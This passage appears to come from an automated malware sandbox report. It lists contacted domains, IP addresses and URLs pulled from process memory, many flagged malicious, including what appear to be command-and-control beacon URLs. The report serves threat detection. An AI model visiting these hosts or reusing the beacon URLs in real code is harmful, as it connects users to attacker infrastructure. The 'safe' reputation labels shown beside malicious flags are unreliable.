          http://www.gb-electric-wheelchairs-8j.bond/ts59/0%Avira URL Cloudsafe
          http://www.zangbreaker.com/ts59/?7n=/870L+f5uYuMeX+RQ7xUOiQTdWqbXz9Ki2XQMm/qjwY6yFcouCApqHiIgf95TupcdCgvNrXz6Q==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          http://www.kgstrengthandperformance.com0%Avira URL Cloudsafe
          http://www.scarytube.worldReferer:0%Avira URL Cloudsafe
          https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc0%Avira URL Cloudsafe
          http://www.scarytube.world/ts59/0%Avira URL Cloudsafe
          http://www.lostaino.com/ts59/0%Avira URL Cloudsafe
          http://www.asmauardotreschicshoes.com/ts59/www.texhio.online0%Avira URL Cloudsafe
          http://www.robottts.com/ts59/0%Avira URL Cloudsafe
          http://www.ssweatstudio.com0%Avira URL Cloudsafe
          https://wns.windows.com/0%Avira URL Cloudsafe
          http://www.wizardatm.com0%Avira URL Cloudsafe
          http://www.autoitscript.com/autoit3/J0%Avira URL Cloudsafe
          http://www.robottts.comReferer:0%Avira URL Cloudsafe
          http://www.gb-electric-wheelchairs-8j.bond/ts59/?7n=mB8uG6w8zpafFuNLwvQmLBNoWWmhhT+Pa5pMyx7Kkg5PpWq+xUX3NBFKVo2JmSZYGQcG7mEBYw==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          https://word.office.com0%Avira URL Cloudsafe
          https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings0%Avira URL Cloudsafe
          http://www.asmauardotreschicshoes.com/ts59/?7n=mlngg5Tq8mAbovLDpSTQPdURm3XRXD2izxcBP0x82yVhlreLb+x9gDDmRHWXZVcg0gqB6qNybQ==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark0%Avira URL Cloudsafe
          http://www.asmauardotreschicshoes.com0%Avira URL Cloudsafe
          https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew0%Avira URL Cloudsafe
          https://outlook.com0%Avira URL Cloudsafe
          http://www.modleavedepts.online/ts59/www.kgstrengthandperformance.com0%Avira URL Cloudsafe
          http://www.modleavedepts.onlineReferer:0%Avira URL Cloudsafe
          https://www.cloudflare.com/5xx-error-landing0%Avira URL Cloudsafe
          http://www.babyscan.xyz0%Avira URL Cloudsafe
          http://www.asmauardotreschicshoes.com/ts59/0%Avira URL Cloudsafe
          http://www.lostaino.com/ts59/?7n=CMI3XAkyIIc+lbzQFM0yBiMxIQj45W/6BGDFfPoe8SD5h+4DN1QfAHIl1f4AVZ60VX6NCS7/mA==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp0%Avira URL Cloudsafe
          http://www.qjjkxi260l.topReferer:0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the0%Avira URL Cloudsafe
          http://www.lostaino.com/ts59/www.modleavedepts.online0%Avira URL Cloudsafe
          http://www.wizardatm.com/ts59/www.zangbreaker.com0%Avira URL Cloudsafe
          http://www.femininequantumflowcoach.com0%Avira URL Cloudsafe
          http://www.robottts.com/ts59/?7n=cK9IFJet6pmJE86ae8KOHfirNs8pECX6NYxzkQ3MXT6vCvPIzrd8O4FQURVhV/WvD5THDom2OA==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          http://www.redseadivingadventure.com/ts59/0%Avira URL Cloudsafe
          https://api.msn.com/v1/news/Feed/Windows?0%Avira URL Cloudsafe
          https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT0%Avira URL Cloudsafe
          https://www.pollensense.com/0%Avira URL Cloudsafe
          http://www.wizardatm.comReferer:0%Avira URL Cloudsafe
          http://www.lostaino.com0%Avira URL Cloudsafe
          https://status.squarespace.com0%Avira URL Cloudsafe
          http://www.femininequantumflowcoach.com/ts59/0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi0%Avira URL Cloudsafe
          https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b0%Avira URL Cloudsafe
          http://www.zangbreaker.com/ts59/www.babyscan.xyz0%Avira URL Cloudsafe
          http://www.babyscan.xyz/ts59/www.scarytube.world0%Avira URL Cloudsafe
          http://www.zangbreaker.com/ts59/0%Avira URL Cloudsafe
          http://www.babyscan.xyz/ts59/?7n=Q0rerqlMM+Mzf1m4EVXcVVXnMVAfvTa9yYuOwxw9IZ3XTRGu1uzNDOvhppaUL+BqZnD0gHwuuw==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          http://www.wizardatm.com/ts59/0%Avira URL Cloudsafe
          https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-0%Avira URL Cloudsafe
          http://www.ssweatstudio.comReferer:0%Avira URL Cloudsafe
          http://www.redseadivingadventure.com/ts59/www.ssweatstudio.com0%Avira URL Cloudsafe
          http://www.cn-brand.com/ts59/www.asmauardotreschicshoes.com0%Avira URL Cloudsafe
          https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew0%Avira URL Cloudsafe
          http://www.ssweatstudio.com/ts59/0%Avira URL Cloudsafe
          https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it0%Avira URL Cloudsafe
          http://www.texhio.online/ts59/0%Avira URL Cloudsafe
          http://www.modleavedepts.online/ts59/0%Avira URL Cloudsafe
          http://www.cn-brand.comReferer:0%Avira URL Cloudsafe
          http://www.kgstrengthandperformance.com/ts59/www.redseadivingadventure.com0%Avira URL Cloudsafe
          http://www.robottts.com0%Avira URL Cloudsafe
          http://www.zangbreaker.comReferer:0%Avira URL Cloudsafe
          http://www.ssweatstudio.com/ts59/www.qjjkxi260l.top0%Avira URL Cloudsafe
          https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm0%Avira URL Cloudsafe
          http://www.babyscan.xyzReferer:0%Avira URL Cloudsafe
          http://www.redseadivingadventure.com0%Avira URL Cloudsafe
          https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg0%Avira URL Cloudsafe
          http://www.qjjkxi260l.top/ts59/0%Avira URL Cloudsafe
          https://powerpoint.office.com0%Avira URL Cloudsafe
          http://www.cn-brand.com/ts59/?7n=6XBHEvjpc5M3V6LIfIX8DkkGcsaew2r6P99WVPRIfudOyKrWJ/Ql+0StQIWY9mDv/yxfQ54Ieg==&2d8=3fe8kxnx8zVX-2L0%Avira URL Cloudsafe
          http://www.robottts.com/ts59/www.gb-electric-wheelchairs-8j.bond0%Avira URL Cloudsafe
          http://www.foreca.com0%Avira URL Cloudsafe
          http://www.lostaino.comReferer:0%Avira URL Cloudsafe
          www.gb-electric-wheelchairs-8j.bond/ts59/0%Avira URL Cloudsafe
          http://www.kgstrengthandperformance.com/ts59/0%Avira URL Cloudsafe
          http://www.redseadivingadventure.comReferer:0%Avira URL Cloudsafe
          http://www.kgstrengthandperformance.comReferer:0%Avira URL Cloudsafe
          http://www.gb-electric-wheelchairs-8j.bond0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.robottts.com
          		3.64.163.50
          		truetrue
            		unknown
            hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com
            		52.86.6.113
            		truetrue
              		unknown
              modleavedepts.online
              		104.194.9.178
              		truetrue
                		unknown
                femininequantumflowcoach.com
                		192.0.78.25
                		truetrue
                  		unknown
                  zangbreaker.com
                  		3.33.130.190
                  		truetrue
                    		unknown
                    www.gb-electric-wheelchairs-8j.bond
                    		185.53.179.91
                    		truetrue
                      		unknown
                      shops.myshopify.com
                      		23.227.38.74
                      		truetrue
                        		unknown
                        www.scarytube.world
                        		13.248.169.48
                        		truetrue
                          		unknown
                          ext-sq.squarespace.com
                          		198.185.159.144
                          		truetrue
                            		unknown
                            www.babyscan.xyz
                            		3.64.163.50
                            		truetrue
                              		unknown
                              www.femininequantumflowcoach.com
                              		unknown
                              		unknowntrue
                                		unknown
                                www.lostaino.com
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.modleavedepts.online
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    time.windows.com
                                    		unknown
                                    		unknowntrue
                                      		unknown
                                      www.zangbreaker.com
                                      		unknown
                                      		unknowntrue
                                        		unknown
                                        www.cn-brand.com
                                        		unknown
                                        		unknowntrue
                                          		unknown
                                          www.asmauardotreschicshoes.com
                                          		unknown
                                          		unknowntrue
                                            		unknown
                                            www.wizardatm.com
                                            		unknown
                                            		unknowntrue
                                              		unknown

                                              Contacted URLs

                                              NameMaliciousAntivirus DetectionReputation
                                              http://www.scarytube.world/ts59/?7n=5Kzuc08NHZ8t10osRye94ZQvODLPm8mJty646c/dpAg/zLZpW1bo0yg/pue6LIfdumZDuAZHWw==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.zangbreaker.com/ts59/?7n=/870L+f5uYuMeX+RQ7xUOiQTdWqbXz9Ki2XQMm/qjwY6yFcouCApqHiIgf95TupcdCgvNrXz6Q==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.gb-electric-wheelchairs-8j.bond/ts59/?7n=mB8uG6w8zpafFuNLwvQmLBNoWWmhhT+Pa5pMyx7Kkg5PpWq+xUX3NBFKVo2JmSZYGQcG7mEBYw==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.asmauardotreschicshoes.com/ts59/?7n=mlngg5Tq8mAbovLDpSTQPdURm3XRXD2izxcBP0x82yVhlreLb+x9gDDmRHWXZVcg0gqB6qNybQ==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lostaino.com/ts59/?7n=CMI3XAkyIIc+lbzQFM0yBiMxIQj45W/6BGDFfPoe8SD5h+4DN1QfAHIl1f4AVZ60VX6NCS7/mA==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.robottts.com/ts59/?7n=cK9IFJet6pmJE86ae8KOHfirNs8pECX6NYxzkQ3MXT6vCvPIzrd8O4FQURVhV/WvD5THDom2OA==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.babyscan.xyz/ts59/?7n=Q0rerqlMM+Mzf1m4EVXcVVXnMVAfvTa9yYuOwxw9IZ3XTRGu1uzNDOvhppaUL+BqZnD0gHwuuw==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.cn-brand.com/ts59/?7n=6XBHEvjpc5M3V6LIfIX8DkkGcsaew2r6P99WVPRIfudOyKrWJ/Ql+0StQIWY9mDv/yxfQ54Ieg==&2d8=3fe8kxnx8zVX-2Ltrue
                                              • Avira URL Cloud: safe
                                              		unknown
                                              www.gb-electric-wheelchairs-8j.bond/ts59/true
                                              • Avira URL Cloud: safe
                                              		unknown

                                              URLs from Memory and Binaries

                                              NameSourceMaliciousAntivirus DetectionReputation
                                              http://www.cn-brand.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.texhio.onlineexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.qjjkxi260l.topexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.texhio.online/ts59/www.femininequantumflowcoach.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://api.msn.com:443/v1/news/Feed/Windows?texplorer.exe, 00000003.00000000.1375368578.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3812362279.0000000007276000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.zangbreaker.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-worldexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winterexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.gb-electric-wheelchairs-8j.bondReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://excel.office.comexplorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.gb-electric-wheelchairs-8j.bond/ts59/www.lostaino.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.gb-electric-wheelchairs-8j.bond/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.texhio.onlineReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.kgstrengthandperformance.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.scarytube.world/ts59/www.robottts.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.scarytube.worldReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lostaino.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&ocexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.scarytube.world/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.ssweatstudio.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://wns.windows.com/explorer.exe, 00000003.00000003.2272115538.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3817490344.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073987402.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.00000000090F2000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.wizardatm.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.asmauardotreschicshoes.com/ts59/www.texhio.onlineexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.robottts.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000003.00000000.1379885909.000000000C3F7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://word.office.comexplorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.robottts.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-darkexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.asmauardotreschicshoes.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://outlook.comexplorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.modleavedepts.online/ts59/www.kgstrengthandperformance.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.modleavedepts.onlineReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.cloudflare.com/5xx-error-landingexplorer.exe, 00000003.00000002.3823187633.00000000113FF000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.0000000004E7F000.00000004.10000000.00040000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.babyscan.xyzexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.asmauardotreschicshoes.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lostaino.com/ts59/www.modleavedepts.onlineexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://android.notify.windows.com/iOSexplorer.exe, 00000003.00000000.1377287114.000000000913F000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.qjjkxi260l.topReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F83000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.wizardatm.com/ts59/www.zangbreaker.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.femininequantumflowcoach.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.redseadivingadventure.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
